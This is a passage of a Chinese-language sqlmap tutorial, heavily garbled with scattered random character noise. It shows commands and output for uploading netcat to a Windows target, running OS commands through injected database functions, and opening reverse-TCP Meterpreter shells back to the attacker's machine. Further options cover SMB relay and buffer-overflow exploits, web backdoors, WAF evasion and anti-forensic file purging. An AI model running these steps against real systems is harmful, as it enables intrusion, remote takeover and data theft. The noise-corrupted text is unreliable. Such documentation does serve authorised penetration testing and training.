$ V2 x! a; _# |# `8 k; H4 |$ file /software/nc.exe.packed 1 H. x- Q, T: Q3 k# A& Z0 ^/software/nc.exe.packed: PE32 executable for MS Windows (console) Intel 80386 32-bit0 c# Z% W1 \( s5 n* W
1 }8 O. m4 H+ q6 w1 `2 j% c: b$ ls -l /software/nc.exe.packed7 N' w3 u ^) C9 n6 V8 q
-rwxr-xr-x 1 inquis inquis 31744 2009-MM-DD hh:mm /software/nc.exe.packed : ]+ D0 w# @2 \5 r 1 M; Z. K/ s. h8 ?" a$ python sqlmap.py -u "http://192.168.136.129/sqlmap/mysql/get_int.aspx?id=1" --file-write \7 e; o# [: Q. s* m
"/software/nc.exe.packed" --file-dest "C:/WINDOWS/Temp/nc.exe" -v 1( r$ u9 \2 P0 K* @ h2 x
- N$ u+ r' {' v8 x[...]/ N7 f6 I' \6 l s+ t
[hh:mm:29] [INFO] the back-end DBMS is MySQL- O& ~5 F3 b+ L# I5 H" @; g ]
web server operating system: Windows 2003 or 2008 9 p' O1 a4 c- |& }/ t' E9 Pweb application technology: ASP.NET, Microsoft IIS 6.0, ASP.NET 2.0.50727 % P2 Q0 F5 J) f6 u0 qback-end DBMS: MySQL >= 5.0.0' T1 W0 a' ^8 w3 k1 U& a/ I5 O
& q9 W, |3 k2 k' A+ v[...]" E5 J. c$ n2 F% y7 k3 O- k' V Y# @! z
do you want confirmation that the file 'C:/WINDOWS/Temp/nc.exe' has been successfully ) l! h1 A# E6 \% swritten on the back-end DBMS file system? [Y/n] y8 N F& r7 d3 O
[hh:mm:52] [INFO] retrieved: 31744 8 X/ y& d. c6 p) }[hh:mm:52] [INFO] the file has been successfully written and its size is 31744 bytes, 4 _- g5 j) J* Osame size as the local file '/software/nc.exe.packed'1 R7 D: h' E3 i0 V
+ R2 |1 ]* ~3 t9 p9 z
运行任意操作系统命令 ' }' E' |$ R- U$ \ E9 t9 D' Z 0 w! a; h$ @9 \5 x8 Q8 g8 K+ Q参数:--os-cmd,--os-shell0 P# a, I: P0 E+ E9 {, n; ?
# V! `2 D' X8 D9 o- R1 J当数据库为MySQL,PostgreSQL或Microsoft SQL Server,并且当前用户有权限使用特定的函数。 " D9 u8 p8 P0 A+ T( M) }% D- _& D, \2 j
在MySQL、PostgreSQL,sqlmap上传一个二进制库,包含用户自定义的函数,sys_exec()和sys_eval()。/ |; Q1 S1 K1 h8 g& w
/ t0 [8 P% o* z$ G8 Q8 u( h
那么他创建的这两个函数可以执行系统命令。在Microsoft SQL Server,sqlmap将会使用xp_cmdshell存储过程,如果被禁(在Microsoft SQL Server 2005及以上版本默认禁制),sqlmap会重新启用它,如果不存在,会自动创建。 2 d3 J1 P; m) p , H- U) Z5 n( o/ Z. ~* ^列举一个PostgreSQL的例子:1 S. m7 V7 L s; M j4 m* }) V6 t
$ V' \! ^$ M6 r* A1 d
$ python sqlmap.py -u "http://192.168.136.131/sqlmap/pgsql/get_int.php?id=1" \ " S* ]+ A$ G. W: R2 [--os-cmd id -v 1 & \) K& R. j# M, g! ~. N 6 O) u$ ^% H0 K$ V* Y[...]. X" q" P- _9 V# ~' R3 G
web application technology: PHP 5.2.6, Apache 2.2.9 & O r& a2 D' q6 X1 \1 z- U' d, kback-end DBMS: PostgreSQL+ G G d% l, d4 p: @
[hh:mm:12] [INFO] fingerprinting the back-end DBMS operating system + L+ F9 B7 Z: @, M) V[hh:mm:12] [INFO] the back-end DBMS operating system is Linux! k4 Q- Z& c- B% o7 z0 U
[hh:mm:12] [INFO] testing if current user is DBA9 O. Q w% X1 M
[hh:mm:12] [INFO] detecting back-end DBMS version from its banner # E# j5 ?0 ^+ ~7 b9 g* L[hh:mm:12] [INFO] checking if UDF 'sys_eval' already exist2 z% K% P1 u/ H9 O H5 `$ \4 f
[hh:mm:12] [INFO] checking if UDF 'sys_exec' already exist 5 X7 k& f1 O J. m0 f4 N0 W[hh:mm:12] [INFO] creating UDF 'sys_eval' from the binary UDF file6 P6 R+ S7 Q4 o( W* w( |+ S; e
[hh:mm:12] [INFO] creating UDF 'sys_exec' from the binary UDF file) q) Y \& m2 C4 `# z# q' L) G
do you want to retrieve the command standard output? [Y/n/a] y$ I; C5 d2 K7 ]) m; q) }7 g" M
command standard output: 'uid=104(postgres) gid=106(postgres) groups=106(postgres)'$ c3 W( c6 }& l& a4 K2 b
# y/ n7 Z) s q& E7 V ? C[hh:mm:19] [INFO] cleaning up the database management system 5 @# d# j* n v mdo you want to remove UDF 'sys_eval'? [Y/n] y1 X4 |5 L; g8 p S3 L; `+ e* F3 q
do you want to remove UDF 'sys_exec'? [Y/n] y ! u* p) Y4 q+ e6 O& k; z( r5 M+ B[hh:mm:23] [INFO] database management system cleanup finished5 Y$ A+ P% W6 s6 O
[hh:mm:23] [WARNING] remember that UDF shared object files saved on the file system can 2 s* I8 R4 u6 y" w+ c
only be deleted manually , x2 n0 |" D5 \: g h" ^0 a$ V( ?用--os-shell参数也可以模拟一个真实的shell,可以输入你想执行的命令。 3 F! E, Z8 Y0 c- ], x. ?$ }* A 9 N) A% F$ J! r当不能执行多语句的时候(比如php或者asp的后端数据库为MySQL时),仍然可能使用INTO OUTFILE写进可写目录,来创建一个web后门。支持的语言:# v3 l3 x7 j+ a9 q x5 N
; ~+ @# ~0 I! e2 L
1、ASP4 V- ]9 E0 r$ C- L' S7 \( p
2、ASP.NET2 S% P0 M r* h1 d
3、JSP, J, Q8 [8 w4 n8 x
4、PHP0 w, d: }& M% E8 S- C! w* n
7 c( ^& q, G9 TMeterpreter配合使用 - t$ ~, J- R: S; w' E) |1 v3 s" s7 n+ t& d/ P% d/ x
参数:--os-pwn,--os-smbrelay,--os-bof,--priv-esc,--msf-path,--tmp-path - W1 P3 j1 s, u: m2 P: V# G2 a" \8 D F1 U4 w- C1 ~
当数据库为MySQL,PostgreSQL或Microsoft SQL Server,并且当前用户有权限使用特定的函数,可以在数据库与攻击者直接建立TCP连接,这个连接可以是一个交互式命令行的Meterpreter会话,sqlmap根据Metasploit生成shellcode,并有四种方式执行它: 4 R( W& r) I6 t3 R1 h. c' O+ v5 P8 v9 e, e+ T7 ?3 R
1、通过用户自定义的sys_bineval()函数在内存中执行Metasplit的shellcode,支持MySQL和PostgreSQL数据库,参数:--os-pwn。' V; ], v, O$ f4 Y! e9 s
2、通过用户自定义的函数上传一个独立的payload执行,MySQL和PostgreSQL的sys_exec()函数,Microsoft SQL Server的xp_cmdshell()函数,参数:--os-pwn。 e! B- R* X4 h3 J) o6 }- g2 ?
3、通过SMB攻击(MS08-068)来执行Metasploit的shellcode,当sqlmap获取到的权限足够高的时候(Linux/Unix的uid=0,Windows是Administrator),--os-smbrelay。4 y# G& I6 H% ]" I
4、通过溢出Microsoft SQL Server 2000和2005的sp_replwritetovarbin存储过程(MS09-004),在内存中执行Metasploit的payload,参数:--os-bof 6 c# E: i7 K) p9 F , Z. h6 ~# q5 Q8 y列举一个MySQL例子: 2 |9 c+ W. B. f) n2 u1 w! d/ N2 l O8 [) |( j3 v1 o
$ python sqlmap.py -u "http://192.168.136.129/sqlmap/mysql/iis/get_int_55.aspx?id=1" --os-pwn --msf-path /software/metasploit l' ]4 |2 k: R' ^2 ]+ t/ p* l
; t3 Y! _$ N; s' ?7 e" T) T
[...]$ P" ] f! X) A; L+ Z
[hh:mm:31] [INFO] the back-end DBMS is MySQL ; i, [3 c) z M7 B0 t c3 hweb server operating system: Windows 20033 D5 Q5 L: O2 l
web application technology: ASP.NET, ASP.NET 4.0.30319, Microsoft IIS 6.0 R; I: e7 k4 N) nback-end DBMS: MySQL 5.00 L n; F$ X& x! p! N$ O4 a% [
[hh:mm:31] [INFO] fingerprinting the back-end DBMS operating system1 v. [/ F6 H2 P' _- \9 X1 G* i
[hh:mm:31] [INFO] the back-end DBMS operating system is Windows 0 F) H, C+ A! Show do you want to establish the tunnel?& }8 C5 i/ X- u k* D
[1] TCP: Metasploit Framework (default) 5 y4 N8 V; c) x! G1 s7 w[2] ICMP: icmpsh - ICMP tunneling ; n3 h5 J! D* W" v$ f> % S, r7 U$ i& u6 U: P[hh:mm:32] [INFO] testing if current user is DBA9 O% l2 f) X# s( _9 h d1 y
[hh:mm:32] [INFO] fetching current user* R, O2 J! A1 s/ q+ K$ Y3 X3 S" w
what is the back-end database management system architecture? ) F2 W# f+ @2 ^: h9 y( R[1] 32-bit (default) - {: s" Y- j' p3 P[2] 64-bit, ^7 E& n4 x8 V
> # x5 t; B, E& E2 S9 R8 F3 i[hh:mm:33] [INFO] checking if UDF 'sys_bineval' already exist$ Y7 ]$ K y& n; ^/ |: d5 t8 B# ~
[hh:mm:33] [INFO] checking if UDF 'sys_exec' already exist, B! ?- p" { G- y
[hh:mm:33] [INFO] detecting back-end DBMS version from its banner / x7 W2 h1 K4 o) ]+ F' F[hh:mm:33] [INFO] retrieving MySQL base directory absolute path : r9 A6 t P0 J, d1 p[hh:mm:34] [INFO] creating UDF 'sys_bineval' from the binary UDF file % y: p4 ~# R C9 e[hh:mm:34] [INFO] creating UDF 'sys_exec' from the binary UDF file - {+ a$ V: {9 d0 @$ Chow do you want to execute the Metasploit shellcode on the back-end database underlying - \7 r4 v9 r" m, n- v4 T9 v. aoperating system?: ~9 |5 a- i; d0 @$ k
[1] Via UDF 'sys_bineval' (in-memory way, anti-forensics, default)4 _4 J6 c$ o o" P
[2] Stand-alone payload stager (file system way)* f& L0 K7 M. ^' f0 F! j# ]4 |
> / ^8 `; z- E* j! G: d9 l
[hh:mm:35] [INFO] creating Metasploit Framework multi-stage shellcode 8 @4 U" x9 d2 j* Y. Ywhich connection type do you want to use?- G0 k2 l0 ^+ J+ g( X
[1] Reverse TCP: Connect back from the database host to this machine (default)( ]& C9 Z$ A& Q0 s4 ^+ C3 X
[2] Reverse TCP: Try to connect back from the database host to this machine, on all ports / g' D3 h1 r2 r7 fbetween the specified and 65535+ R: G* ~0 }/ Y: Q5 ?$ t$ G$ f
[3] Bind TCP: Listen on the database host for a connection( ]3 c' g* X: c: l& b7 X/ Q
> # v% X& x7 B6 P+ @* I' Awhich is the local address? [192.168.136.1] 5 d: u8 i3 `1 g" K" O8 }
which local port number do you want to use? [60641] ; d6 o$ R h0 q& J' I# T- Awhich payload do you want to use?. q! J6 l8 S8 r6 V* F( w, u4 s
[1] Meterpreter (default) / L( ?& c! R' \4 ` `' D `/ u2 N, f[2] Shell/ }% n6 b9 x; h' ^
[3] VNC. D2 u. Y, v: ?0 m2 B. ~
> % X% u1 [1 ~! u7 n[hh:mm:40] [INFO] creation in progress ... done m# C. v& e6 M6 F/ I[hh:mm:43] [INFO] running Metasploit Framework command line interface locally, please wait.. * \, ?) J$ C9 Y' ^5 R+ c+ ~' P& H: Z; P, d
_ ! q9 r7 }6 S! j5 t- A | | o" t4 G1 J( l$ g) {, e+ m* f! x* o
_ _ _ _ _|_ __, , _ | | __ _|_ " I3 }. @. }7 }0 Y, R/ |/ |/ | |/ | / | / \_|/ \_|/ / \_| |5 E. M" P5 |8 ^1 W* d. \
| | |_/|__/|_/\_/|_/ \/ |__/ |__/\__/ |_/|_/6 b5 J7 `- T& _% I6 \& p2 i
/| / ]2 K. U" q* o% |7 c4 B' f( [ \|0 T7 M, B8 ]( D! A! g9 S7 L
% i6 t" ~- @ A* E9 \1 h
! g# j r3 W9 |; ?$ python sqlmap.py -u "http://192.168.48.130/sqlmap/pgsql/get_int.php?id=1" --banner --hex -v 3 --parse-errors 7 t; j# n: F! s4 K) \/ B( \6 v8 i% o: Y4 g9 V. Z( |
[...] ) b* M, J2 t. Q, U[xx:xx:14] [INFO] fetching banner; D n/ K5 _* k6 ~
[xx:xx:14] [PAYLOAD] 1 AND 5849=CAST((CHR(58)||CHR(118)||CHR(116)||CHR(106)||CHR(58))||(ENCODE(CONVERT_TO((COALESCE(CAST(VERSION() AS CHARACTER(10000)),(CHR(32)))),(CHR(85)||CHR(84)||CHR(70)||CHR(56))),(CHR(72)||CHR(69)||CHR(88))))::text||(CHR(58)||CHR(110)||CHR(120)||CHR(98)||CHR(58)) AS NUMERIC) 6 q' i9 C7 x3 @$ }[xx:xx:15] [INFO] parsed error message: 'pg_query() [<a href='function.pg-query'>function.pg-query</a>]: Query failed: ERROR: invalid input syntax for type numeric: ":vtj:506f737467726553514c20382e332e39206f6e20693438362d70632d6c696e75782d676e752c20636f6d70696c656420627920474343206763632d342e332e7265616c202844656269616e2032e332e322d312e312920342e332e32:nxb:" in <b>/var/www/sqlmap/libs/pgsql.inc.php</b> on line <b>35</b>' ; Q% T/ Q+ X; K* u( P- n; \: Q3 ]: g, {[xx:xx:15] [INFO] retrieved: PostgreSQL 8.3.9 on i486-pc-linux-gnu, compiled by- ?8 J: }: M( y$ j
GCC gcc-4.3.real (Debian 4.3.2-1.1) 4.3.28 M W" X# H+ _) q9 t
[...]% S t' _3 O3 t( m- M* g, z
5 s+ m1 C, Z! [; m. t自定义输出的路径 ( c7 S% j$ \, v % M% \; j- K0 n5 p* f参数:--output-dir. @7 h1 K7 C& }* w1 c$ G
5 R% z) k. z- [9 a. u* j1 c: B4 U
sqlmap默认把session文件跟结果文件保存在output文件夹下,用此参数可自定义输出路径 例如:--output-dir=/tmp: `. w9 t3 @1 G' g3 p1 G1 X
从响应中获取DBMS的错误信息 & @$ H5 B( ]: O' V/ U7 ` * P" M& p4 x9 N! p: ]+ O3 P- j- r参数:--parse-errors + q0 V: y9 s4 {% U; }# ^# v0 F1 ? c* j* r' C1 p
有时目标没有关闭DBMS的报错,当数据库语句错误时,会输出错误语句,用词参数可以会显出错误信息。 ^$ }$ s0 D. S( W; Z. M$ V) D1 F1 H" L0 o3 l: n+ m3 U3 V
$ python sqlmap.py -u "http://192.168.21.129/sqlmap/mssql/iis/get_int.asp?id=1" --parse-errors% k! @2 O6 I/ B
[...], V/ Q1 l- ?2 H h& \
[11:12:17] [INFO] ORDER BY technique seems to be usable. This should reduce the time needed to find the right number of query columns. Automatically extending the range for current UNION query injection technique test% l7 V- Z0 `3 R; E7 h1 h
[11:12:17] [INFO] parsed error message: 'Microsoft OLE DB Provider for ODBC Drivers (0x80040E14) 9 X9 @. F% [: u- l1 w( k[Microsoft][ODBC SQL Server Driver][SQL Server]The ORDER BY position number 10 is out of range of the number of items in the select list.- r% S7 p& h5 i1 _( v( Q2 P3 ^
<b>/sqlmap/mssql/iis/get_int.asp, line 27</b>'( N% M% z& M9 a
[11:12:17] [INFO] parsed error message: 'Microsoft OLE DB Provider for ODBC Drivers (0x80040E14) / _/ v, E N6 B) F3 A- } {& I9 T[Microsoft][ODBC SQL Server Driver][SQL Server]The ORDER BY position number 6 is out of range of the number of items in the select list.1 M' P! x1 T+ Z# P& [0 O# _8 _
<b>/sqlmap/mssql/iis/get_int.asp, line 27</b>'6 _ V3 ?" R4 S
[11:12:17] [INFO] parsed error message: 'Microsoft OLE DB Provider for ODBC Drivers (0x80040E14) , f. w' C W/ o1 y; x[Microsoft][ODBC SQL Server Driver][SQL Server]The ORDER BY position number 4 is out of range of the number of items in the select list.0 L3 y4 l' a9 t! Z+ m" q2 `# T ?
<b>/sqlmap/mssql/iis/get_int.asp, line 27</b>' . D5 Y4 u7 V4 g [[11:12:17] [INFO] target URL appears to have 3 columns in query 0 R9 D4 c4 S2 m: r[...] 8 n" j2 A0 [; @) D$ C U; n( x4 z, w! J1 t. J: a( y
其他的一些参数$ K/ s* Q7 e( C3 r
使用参数缩写 3 S; [4 U( m/ i% B' F, w , d8 {3 M7 r+ _3 [' w# _* {参数:-z - `3 ~6 U/ }7 a) {$ P: e. |) `1 O! F ( G/ B9 \1 ~* l+ j O" {! [有使用参数太长太复杂,可以使用缩写模式。 例如: . M, j7 g6 K# g3 ^8 l, ]& J1 U$ p4 A, ^ m2 b4 F% z
python sqlmap.py --batch --random-agent --ignore-proxy --technique=BEU -u "www.target.com/vuln.php?id=1" . [2 m7 Y) d4 f4 s5 v$ u a
) A) `) G" |1 X9 N2 _可以写成:0 Z6 V; l) B. j8 O" I& a
! v4 Z2 s# X' n1 q6 Y1 k
python sqlmap.py -z "bat,randoma,ign,tec=BEU" -u "www.target.com/vuln.php?id=1" % v3 d; r+ Q% N+ F* a$ y: Z/ I
7 h- C# X, R1 X
还有:" x( D! c/ o6 f# B' @
, @+ w2 _4 m8 i# I1 p; ^python sqlmap.py --ignore-proxy --flush-session --technique=U --dump -D testdb -T users -u "www.target.com/vuln.php?id=1" 5 f0 J) E9 ]3 F8 k
4 i9 X6 o2 J. ?& o- R" B( S# A
可以写成:) l+ q- l$ X+ v
6 N; y2 g6 Q' ?: {* B/ T
python sqlmap.py -z "ign,flu,bat,tec=U,dump,D=testdb,T=users" -u "www.target.com/vuln.php?id=1" & Z x" C: z! b/ p z1 L# w! X( P3 b( i
成功SQL注入时警告 2 Z) T; U' b! K5 B) w* {2 I( |7 {; }4 L w* Q7 S% ?- B! Z
参数:--alert8 a5 q: A4 R# C E
设定会发的答案 2 g* Q$ z3 ?* ]* f( J" f: Q# u: }, O+ O5 J) A3 ]9 x) P- C
参数:--answers 6 p" i" j8 G/ c: l1 x, Y4 Q # u0 u9 }3 Q' O2 r8 ?当希望sqlmap提出输入时,自动输入自己想要的答案可以使用此参数: 例子:( _: z+ L& h; a( M7 t! D. r
% w2 F# f, Q8 o) J$ P
$ python sqlmap.py -u "http://192.168.22.128/sqlmap/mysql/get_int.php?id=1"--technique=E --answers="extending=N" --batch g3 q. y7 j U) {+ t3 R# B# n[...] 0 K" U; ]8 @6 v6 ~+ f5 H) ][xx:xx:56] [INFO] testing for SQL injection on GET parameter 'id'* c- M, a9 i% V' o! O) m
heuristic (parsing) test showed that the back-end DBMS could be 'MySQL'. Do you want to skip test payloads specific for other DBMSes? [Y/n] Y" {( F2 ]8 ?. B; u, j4 J
[xx:xx:56] [INFO] do you want to include all tests for 'MySQL' extending provided level (1) and risk (1)? [Y/n] N" W. R! f! o: p' V3 h* K
[...] : P* P& r# m% j7 J K3 J6 X2 c7 c. x R0 H
发现SQL注入时发出蜂鸣声8 `, C p0 x: p9 U9 B
/ F/ W4 o! e/ `4 K! g参数:--beep ( V. H$ t, ~# X1 |9 d0 w/ H$ P0 S. K% s3 ?" C1 U
发现sql注入时,发出蜂鸣声。 i$ k6 z, g- o4 c. h3 x: f3 W
启发式检测WAF/IPS/IDS保护 " m$ u# J9 L. l% F E) \( J- T; f( O! _+ D( i参数:--check-waf/ R' G- i7 x6 T/ T: T1 L
: g- Q9 R. ?# }! b
WAF/IPS/IDS保护可能会对sqlmap造成很大的困扰,如果怀疑目标有此防护的话,可以使用此参数来测试。 sqlmap将会使用一个不存在的参数来注入测试 8 u. n0 n: }# B% _; Z! }4 `" r* l) s7 Y
例如:7 U$ [5 Z, V& c5 x
. C0 B$ K) c+ E8 u&foobar=AND 1=1 UNION ALL SELECT 1,2,3,table_name FROM information_schema.tables WHERE 2>1 * C* Q% l T8 k9 Y' R$ P2 O1 q7 m- |4 I1 _
如果有保护的话可能返回结果会不同。) e7 S; `) a/ Z5 f5 i$ w& s2 N
清理sqlmap的UDF(s)和表, F) S! L: I2 b9 t7 |8 y* g' V
! T- Q& d; {( A9 G- b4 L( @参数:--cleanup " @9 a8 R' L* |7 j0 o, o' i5 \; i+ h
清除sqlmap注入时产生的udf与表。 / r9 v, w2 k7 r禁用彩色输出 6 D$ Z6 |$ h3 Z) M" z- O* c( y, H1 C3 G @% j+ U5 w
参数:--disable-coloring9 E, [* C' S: i( ~- Q
2 G) V6 c8 n6 }" `$ rsqlmap默认彩色输出,可以使用此参数,禁掉彩色输出。 2 ~% S$ x% |( K, F( a( N* m5 j3 W8 ?3 i使用指定的Google结果页面# r; K4 p9 R/ s4 A7 @
6 f9 e7 e- ~/ |+ p7 C6 T* s
参数:--gpage , w- G% G/ @( N5 c * }! ~4 p z; r; w; i. k: n' L5 A默认sqlmap使用前100个URL地址作为注入测试,结合此选项,可以指定页面的URL测试。, r! K3 L$ f1 j9 t$ v7 m0 J1 t
使用HTTP参数污染 ' W2 Y3 c7 g$ S1 r + m5 J$ ~" O3 ?8 |: w3 V参数:-hpp ; x* c# N, z; I6 S4 {4 r! t" j+ q5 b; o$ w, l
HTTP参数污染可能会绕过WAF/IPS/IDS保护机制,这个对ASP/IIS与ASP.NET/IIS平台很有效。0 T) Y6 D3 b' V
测试WAF/IPS/IDS保护 6 ` }; t: p9 x$ ?5 w ! C L4 R3 K/ I% G参数:--identify-waf# n6 Z- I5 D& y/ k* w4 `& y8 ^
; g! q x" p5 v: o
sqlmap可以尝试找出WAF/IPS/IDS保护,方便用户做出绕过方式。目前大约支持30种产品的识别。& r4 H j( X* U% z
7 T G: n/ `4 o( t2 l例如对一个受到ModSecurity WAF保护的MySQL例子:( N6 g B! u; F* ?! y1 O
4 j/ H0 w. Y# ?" m" `& C* F' x$ h$ m
$ python sqlmap.py -u "http://192.168.21.128/sqlmap/mysql/get_int.php?id=1" --identify-waf -v 3. |' o" E1 d# K& J8 I" J
[...] - d3 a9 O! @3 {8 M6 N6 K5 {8 {[xx:xx:23] [INFO] testing connection to the target URL - c2 v. X( {/ [1 f: ?1 D; n$ K& A[xx:xx:23] [INFO] heuristics detected web page charset 'ascii' - @ a5 f* M7 ~- k0 f) M3 H( l# T[xx:xx:23] [INFO] using WAF scripts to detect backend WAF/IPS/IDS protection ( W$ ? Q0 c: s F# `' K# e$ Z0 l[xx:xx:23] [DEBUG] checking for WAF/IDS/IPS product 'USP Secure Entry Server (United Security Providers)'3 W: j4 O5 t! g( B5 Z& [
[xx:xx:23] [DEBUG] checking for WAF/IDS/IPS product 'BinarySEC Web Application Firewall (BinarySEC)'! g! g: O# C7 i5 t& U" H
[xx:xx:23] [DEBUG] checking for WAF/IDS/IPS product 'NetContinuum Web Application Firewall (NetContinuum/Barracuda Networks)'% @. B3 M5 L! N1 X) K ]
[xx:xx:23] [DEBUG] checking for WAF/IDS/IPS product 'Hyperguard Web Application Firewall (art of defence Inc.)' 0 T: I1 ~* q; K8 C1 K1 Z# M[xx:xx:23] [DEBUG] checking for WAF/IDS/IPS product 'Cisco ACE XML Gateway (Cisco Systems)' ! C5 B5 c& B* q$ \[xx:xx:23] [DEBUG] checking for WAF/IDS/IPS product 'TrafficShield (F5 Networks)'+ b' f4 k5 {" o# N
[xx:xx:23] [DEBUG] checking for WAF/IDS/IPS product 'Teros/Citrix Application Firewall Enterprise (Teros/Citrix Systems)'7 z. i' @) K0 `& Y& C' X9 T5 ?$ Q3 c
[xx:xx:23] [DEBUG] checking for WAF/IDS/IPS product 'KONA Security Solutions (Akamai Technologies)' ' l+ z n, Y% e[xx:xx:23] [DEBUG] checking for WAF/IDS/IPS product 'Incapsula Web Application Firewall (Incapsula/Imperva)'& K$ E( Z4 r5 L$ R% G
[xx:xx:23] [DEBUG] checking for WAF/IDS/IPS product 'CloudFlare Web Application Firewall (CloudFlare)' : A1 X+ U K! f$ J4 n[xx:xx:23] [DEBUG] checking for WAF/IDS/IPS product 'Barracuda Web Application Firewall (Barracuda Networks)' # b/ J/ X3 d& D4 P2 h) R[xx:xx:23] [DEBUG] checking for WAF/IDS/IPS product 'webApp.secure (webScurity)' 5 C- T4 n- q% P% j. f. z) u[xx:xx:23] [DEBUG] checking for WAF/IDS/IPS product 'Proventia Web Application Security (IBM)'( g4 a$ X) W$ m0 N) F0 l0 q
[xx:xx:23] [DEBUG] declared web page charset 'iso-8859-1'% w7 b3 e! }; M D
[xx:xx:23] [DEBUG] page not found (404) 8 L) k3 ~* L- O* M[xx:xx:23] [DEBUG] checking for WAF/IDS/IPS product 'KS-WAF (Knownsec)' + r% } @' b/ u8 w1 c; _' y% ~( ^& R[xx:xx:23] [DEBUG] checking for WAF/IDS/IPS product 'NetScaler (Citrix Systems)'9 Q D+ y! z9 O- f0 ~. l9 V5 }
[xx:xx:23] [DEBUG] checking for WAF/IDS/IPS product 'Jiasule Web Application Firewall (Jiasule)'# t+ z$ o% h2 m# ~" N9 y% T
[xx:xx:23] [DEBUG] checking for WAF/IDS/IPS product 'WebKnight Application Firewall (AQTRONIX)'2 S, f$ s' V& {. t9 p) |
[xx:xx:23] [DEBUG] checking for WAF/IDS/IPS product 'AppWall (Radware)'" {: A( l2 N+ N& h: f4 v( u
[xx:xx:23] [DEBUG] checking for WAF/IDS/IPS product 'ModSecurity: Open Source Web Application Firewall (Trustwave)'4 r( K* p; D! k& ~" o. i, D0 O- f. q
[xx:xx:23] [CRITICAL] WAF/IDS/IPS identified 'ModSecurity: Open Source Web Application Firewall (Trustwave)'. Please consider usage of tamper scripts (option '--tamper') : `; G6 Z' e$ j( K" ^# l3 F$ a[...] # G- j" i+ j$ A9 T( I, z$ I, C5 Y; z G; a& w8 m
模仿智能手机% \* Z$ ]7 A* j& S3 P6 [9 N
2 b. X8 x& I8 S# M: n0 k
参数:--mobile ( V& p% M @3 q5 {0 \# ~ 5 Q$ ?- a3 V9 Z3 E+ n7 @$ ^有时服务端只接收移动端的访问,此时可以设定一个手机的User-Agent来模仿手机登陆。 : X: ]9 A1 X! l) l4 X2 C" ^0 A 0 P9 L* }( w- u# W例如:: \$ F& s6 ?+ [: W: X, |
) L9 y! ^/ |% S& i! K# s# a: T# w$ python sqlmap.py -u "http://www.target.com/vuln.php?id=1" --mobile4 B; G: G( f3 Y& l! a0 u/ m
[...] ( G2 u4 ^" [7 |$ J; Xwhich smartphone do you want sqlmap to imitate through HTTP User-Agent header?1 Z% b3 ~& ]# W J) l: O. k u
[1] Apple iPhone 4s (default)( `+ {8 u2 i6 p f8 ~/ G2 h( \3 h
[2] BlackBerry 9900; D- u+ i; I! t0 } V# M
[3] Google Nexus 72 e9 Q+ r1 C3 S- c7 k5 t
[4] HP iPAQ 6365 # |0 Z' K9 f: h' t: L9 o, p[5] HTC Sensation % r. V! V7 K2 f) E% l, E6 P, e[6] Nokia N97 b, L+ D9 s$ g, A# ?. W
[7] Samsung Galaxy S # O, R; l& x( y2 w2 f> 1 w$ Z" U; \3 \! G5 O6 ][...] , X0 k3 X( A5 H8 i+ B& q- z' g/ H( J+ Y# F% z
安全的删除output目录的文件2 q. F1 U8 s9 r. b" ]2 w
. f/ ]* l4 c' `6 F" ]) ~( j参数:--purge-output 0 W4 @/ N5 Y( D6 d- M9 K0 x / a. T! K& l0 C/ l/ [6 n0 }有时需要删除结果文件,而不被恢复,可以使用此参数,原有文件将会被随机的一些文件覆盖。 * O& `5 ]: I7 T8 _ _5 F$ I+ ~# } n) [例如:' ]$ V @. Y6 _( N/ W* |
$ {& E3 @/ q8 |1 K, c$ X2 }
$ python sqlmap.py --purge-output -v 3 5 d5 z% S- D2 ?& ]6 D8 n- f[...]8 o* m5 y- f/ T8 E [# {5 Y! C- E
[xx:xx:55] [INFO] purging content of directory '/home/user/sqlmap/output'... + f& j- X C, D; v) r4 Q, o$ v! {[xx:xx:55] [DEBUG] changing file attributes7 P- o7 S: O0 }9 }
[xx:xx:55] [DEBUG] writing random data to files( P; _' k. t3 \( y; \
[xx:xx:55] [DEBUG] truncating files 4 x0 `: \' h9 v- Y/ ?[xx:xx:55] [DEBUG] renaming filenames to random values 2 ~( _4 W( C5 O2 f[xx:xx:55] [DEBUG] renaming directory names to random values . _: Y1 j1 r, l. K7 }. Z[xx:xx:55] [DEBUG] deleting the whole directory tree % s7 W1 @! F4 W+ X[...] & c! P- ]2 G9 e$ m( m - }0 z3 x/ B9 }* h* s8 s! p8 F启发式判断注入1 B# _; E* K5 Z# E: q: l5 B
: W- a" v( z5 I; W9 z
参数:--smart 5 k7 s9 _$ H" g; ], }3 [& \1 e! k8 x. W+ z* c, R
有时对目标非常多的URL进行测试,为节省时间,只对能够快速判断为注入的报错点进行注入,可以使用此参数。 8 U5 j- e4 @$ `3 C' y% H/ t( b ( ]; p* \3 I& H2 a; I& [6 h) ~例子: ' B$ H' P- X$ {7 [- ^8 p) m2 i0 Y4 s# |0 E
$ python sqlmap.py -u "http://192.168.21.128/sqlmap/mysql/get_int.php?ca=17&user=foo&id=1" --batch --smart* `, C5 t- e. E+ Y
[...] 4 M x* i7 w/ e4 D8 X2 p) A: |# R" [& b[xx:xx:14] [INFO] testing if GET parameter 'ca' is dynamic; b7 V' y* y! S% j+ ]
[xx:xx:14] [WARNING] GET parameter 'ca' does not appear dynamic m: n2 v4 \3 U# _& f5 z[xx:xx:14] [WARNING] heuristic (basic) test shows that GET parameter 'ca' might not be injectable6 _' J: |% P2 J* r; u# R
[xx:xx:14] [INFO] skipping GET parameter 'ca' 7 |8 t- A' A) }& b. Q9 q) a# y, E/ n[xx:xx:14] [INFO] testing if GET parameter 'user' is dynamic 9 A$ I( `; y3 \3 A" C# ^[xx:xx:14] [WARNING] GET parameter 'user' does not appear dynamic1 o( v3 c- p. I, d4 Q+ F: D5 M# A
[xx:xx:14] [WARNING] heuristic (basic) test shows that GET parameter 'user' might not be injectable 4 j' X1 b4 k4 t" |) Q7 R[xx:xx:14] [INFO] skipping GET parameter 'user'8 P1 X8 X* G% Q% V3 ^: E
[xx:xx:14] [INFO] testing if GET parameter 'id' is dynamic $ u, @4 h% I. l7 k3 ~[xx:xx:14] [INFO] confirming that GET parameter 'id' is dynamic2 b$ \* [! M- _$ l
[xx:xx:14] [INFO] GET parameter 'id' is dynamic, Q7 ^; R: _( N3 ^4 D1 l: K* p
[xx:xx:14] [WARNING] reflective value(s) found and filtering out , c7 w8 @$ x; q: T& `6 Q6 n[xx:xx:14] [INFO] heuristic (basic) test shows that GET parameter 'id' might be injectable (possible DBMS: 'MySQL') 3 x( j, i3 }1 \' e7 t4 e[xx:xx:14] [INFO] testing for SQL injection on GET parameter 'id'. R* ?, S" ?0 w" s7 p$ S$ x8 X
